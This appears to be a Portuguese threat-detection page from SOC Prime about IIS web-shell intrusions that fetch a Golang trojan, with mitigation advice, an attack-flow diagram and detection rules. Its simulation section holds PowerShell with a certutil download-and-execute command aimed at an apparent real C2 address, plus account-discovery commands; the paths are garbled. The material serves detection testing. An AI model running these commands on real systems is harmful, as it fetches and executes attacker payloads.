SOC Prime Bias: Crítico

29 Dez 2025 12:37

Tentativa, Erro e Erros de Digitação: Por que Alguns Ataques de Malware Não São tão ‘Sofisticados’ Quanto Você Pensa

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Tentativa, Erro e Erros de Digitação: Por que Alguns Ataques de Malware Não São tão ‘Sofisticados’ Quanto Você Pensa
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O artigo descreve três incidentes separados onde um agente de ameaça utilizou servidores web IIS comprometidos para baixar e executar um Trojan baseado em Golang (agent.exe) nos endpoints das vítimas. Os atacantes tentaram repetidamente a execução, usaram certutil para buscar cargas e posteriormente adicionaram exclusões no Windows Defender antes de tentar estabelecer persistência via um serviço do Windows. A detecção foi alcançada através de logs do EDR e Sysmon, que capturaram linhas de comando, árvores de processo e atividade de rede. Os ataques ilustram como os adversários se adaptam a bloqueios defensivos em vez de seguir um plano infalível.

Investigação

Os analistas da Huntress examinaram os Logs de Eventos do Windows, eventos do Sysmon e logs do servidor web IIS para reconstruir a cadeia de ataque. Eles identificaram a execução inicial de web-shell via w3wp.exe, observaram comandos malformados, tentativas repetidas de entrega de cargas e a criação de um serviço chamado WindowsUpdate que falhou ao iniciar. Vários indicadores, como caminhos de arquivos, linhas de comando e conexões de rede, foram coletados e correlacionados através dos três incidentes.

Mitigação

As principais mitigações incluem fortalecer os servidores IIS, restringir a execução de web-shells, impor listas fortes de permissão de aplicativos, monitorar o uso anormal de LOLBins como certutil e PowerShell, e garantir que as exclusões do Windows Defender não sejam criadas arbitrariamente. Isolamento rápido de hosts comprometidos e remoção de ferramentas despejadas como GotoHTTP também são recomendados.

Resposta

Após a detecção, os respondedores devem isolar o endpoint afetado, coletar logs completos de árvore de processos e de rede, deletar quaisquer binários maliciosos, reverter exclusões não autorizadas do Windows Defender e verificar falhas na criação de serviços. Conduza uma revisão completa do servidor web em busca de páginas comprometidas e rotacione todas as credenciais comprometidas.

“graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef technique fill:#c2c2f0 classDef malware fill:#ff9999 %% Node Definitions initial_access[“<b>Ação</b> – <b>T1505.004 Componente de Software do Servidor: Componentes IIS</b><br/>Servidor web IIS público explorado, implantou shell web via w3wp.exe”] web_shell[“<b>Malware</b> – <b>Nome</b>: Shell Web<br/><b>Arquivo</b>: login.aspx”] process_w3wp[“<b>Processo</b> – <b>Nome</b>: w3wp.exe<br/><b>Propósito</b>: Hospedar aplicativo web”] execution[“<b>Ação</b> – <b>T1059.003 Shell de Comando do Windows</b><br/>Comandos executados como whoami, netstat, ipconfig”] powershell_exec[“<b>Ferramenta</b> – <b>Nome</b>: PowerShell<br/><b>Técnica</b>: T1059.001”] discovery[“<b>Ação</b> – <b>Técnicas de Descoberta</b>”] account_discovery[“<b>Técnica</b> – <b>T1087.001 Conta Local</b><br/>Enumerou contas de usuário locais”] group_discovery[“<b>Técnica</b> – <b>T1069.001 Grupos Locais</b><br/>Enumerou associações a grupos locais”] network_conn_disc[“<b>Técnica</b> – <b>T1049 Varredura de Serviço de Rede</b><br/>Identificou conexões de rede ativas”] internet_conn_disc[“<b>Técnica</b> – <b>T1016.001 Descoberta de Conexão com a Internet</b><br/>Verificou conectividade externa”] defense_evasion[“<b>Ação</b> – <b>Técnicas de Evasão de Defesa</b>”] certutil[“<b>Ferramenta</b> – <b>Nome</b>: certutil.exe<br/><b>Técnica</b>: T1218 Execução de Proxy de Binário do Sistema”] hide_files[“<b>Técnica</b> – <b>T1564.001 Esconder Artefatos: Arquivos e Diretórios Ocultos</b><br/>Definiu atributos de oculto e sistema”] defender_exclusion[“<b>Técnica</b> – <b>T1562 Impedir Defesas</b> e <b>T1564.012 Exclusões de Caminho de Arquivo</b><br/>Adicionou exclusões do Windows Defender via PowerShell”] lateral_transfer[“<b>Ação</b> – <b>T1570 Transferência de Ferramentas Laterais</b><br/>Copiou binários maliciosos de servidor externo”] malicious_binaries[“<b>Malware</b> – <b>Arquivos</b>: agent.exe, 815.exe, dllhost.exe”] persistence[“<b>Ação</b> – <b>T1546.010 Execução Acionada por Evento: Serviço do Windows</b><br/>Criou serviço ‘WindowsUpdate’ apontando para dllhost.exe”] service_creation[“<b>Processo</b> – <b>Nome</b>: Serviço do Windows ‘WindowsUpdate'”] final_execution[“<b>Ação</b> – <b>Execução Final</b><br/>Serviço iniciado, atacante mantém controle”] %% Class Assignments class initial_access action class web_shell malware class process_w3wp process class execution action class powershell_exec tool class discovery action class account_discovery technique class group_discovery technique class network_conn_disc technique class internet_conn_disc technique class defense_evasion action class certutil tool class hide_files technique class defender_exclusion technique class lateral_transfer action class malicious_binaries malware class persistence action class service_creation process class final_execution action %% Connections initial_access u002du002d>|uses| web_shell web_shell u002du002d>|runs in| process_w3wp process_w3wp u002du002d>|enables| execution execution u002du002d>|uses| powershell_exec execution u002du002d>|leads to| discovery discovery u002du002d>|includes| account_discovery discovery u002du002d>|includes| group_discovery discovery u002du002d>|includes| network_conn_disc discovery u002du002d>|includes| internet_conn_disc discovery u002du002d>|leads to| defense_evasion defense_evasion u002du002d>|uses| certutil defense_evasion u002du002d>|applies| hide_files defense_evasion u002du002d>|applies| defender_exclusion defense_evasion u002du002d>|leads to| lateral_transfer lateral_transfer u002du002d>|transfers| malicious_binaries malicious_binaries u002du002d>|enables| persistence persistence u002du002d>|creates| service_creation service_creation u002du002d>|triggers| final_execution “

Fluxo de Ataque

Detecções

Atribuir Execução para Ocultar Arquivos (via cmdline)

Equipe SOC Prime
23 de dezembro de 2025

Executável Suspeito Contendo Apenas Números no Nome (via cmdline)

Equipe SOC Prime
23 de dezembro de 2025

Alterações Suspeitas nas Preferências do Windows Defender (via powershell)

Equipe SOC Prime
23 de dezembro de 2025

Usando Certutil para Codificação de Dados e Operações de Certificados (via cmdline)

Equipe SOC Prime
23 de dezembro de 2025

Arquivos Suspeitos no Perfil Público do Usuário (via file_event)

Equipe SOC Prime
23 de dezembro de 2025

Execução Suspeita do Perfil Público do Usuário (via process_creation)

Equipe SOC Prime
23 de dezembro de 2025

IOCs (SourceIP) para detectar: Teste, Erro e Erros de Digitação: Por que Alguns Ataques de Malware Não São Tão ‘Sofisticados’ Quanto Você Pensa

Regras de IA da SOC Prime
23 de dezembro de 2025

IOCs (HashSha256) para detectar: Teste, Erro e Erros de Digitação: Por que Alguns Ataques de Malware Não São Tão ‘Sofisticados’ Quanto Você Pensa

Regras de IA da SOC Prime
23 de dezembro de 2025

IOCs (DestinationIP) para detectar: Teste, Erro e Erros de Digitação: Por que Alguns Ataques de Malware Não São Tão ‘Sofisticados’ Quanto Você Pensa

Regras de IA da SOC Prime
23 de dezembro de 2025

Detecção de Requisições POST Maliciosas no Servidor Web [Servidor Web]

Regras de IA da SOC Prime
23 de dezembro de 2025

Detectar Execução de Linha de Comando a partir do Processo do Servidor Web [Criação de Processo do Windows]

Regras de IA da SOC Prime
23 de dezembro de 2025

Execução de Simulação

Requisito: O Check de Pré-Voo de Telemetria & Base deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa de Ataque & Comandos:
    Um invasor que já ganhou execução de código em um servidor IIS comprometido utiliza o w3wp.exe processo (trabalhador IIS) para executar uma série de proxies binários assinados. Primeiro, enumeram o sistema e o estado da rede (whoami.exe, netstat -an, ipconfig /all). Então, eles usam certutil.exe para baixar uma carga maliciosa (agent.exe) de um servidor C2 remoto e imediatamente a executam no diretório público do usuário. Todos os comandos são emitidos via cmd.exe /c lançado sob o contexto de w3wp.exe, garantindo que o evento de criação de processo corresponda às condições da regra.

    # 1. Enumerar informações do sistema/usuário
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow
    
    # 2. Baixar carga maliciosa via certutil e executá-la
    $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow
  • Script de Teste de Regressão: O script abaixo automatiza toda a cadeia de ataque, reproduzindo a telemetria exata que deve acionar a regra Sigma.

    <#
    .SYNOPSIS
        Simula atividade adversária que aciona a regra Sigma "Detectar Execução de Linha de Comando do Processo do Servidor Web".
    .DESCRIPTION
        Executa uma série de comandos de descoberta e download-e-execução a partir do processo trabalhador do IIS (w3wp.exe).
        Execute em um host Windows onde a auditoria de criação de processos (ID de Evento 4688) está habilitada.
    #>
    
    # Função para invocar um comando via w3wp.exe
    function Invoke-W3wpCommand {
        param (
            [Parameter(Mandatory=$true)]
            [string]$CmdLine
        )
        Write-Host "Invocando via w3wp.exe: $CmdLine"
        Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null
    }
    
    # 1. Comandos de Descoberta (MITRE T1033, T1016, T1069.001)
    $discoveryCommands = @(
        "whoami.exe",
        "netstat -an",
        "net user admin$",
        "ipconfig /all",
        "net localgroup administrators"
    )
    foreach ($cmd in $discoveryCommands) {
        Invoke-W3wpCommand -CmdLine $cmd
        Start-Sleep -Seconds 2
    }
    
    # 2. Download-e-execução maliciosa (MITRE T1218.004)
    $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
    Invoke-W3wpCommand -CmdLine $maliciousCmd
  • Comandos de Limpeza: Remova a carga baixada e termine quaisquer processos residuais.

    # Delete o binário malicioso do agente
    Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue
    
    # Opcionalmente pare o agente se ainda estiver em execução
    Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force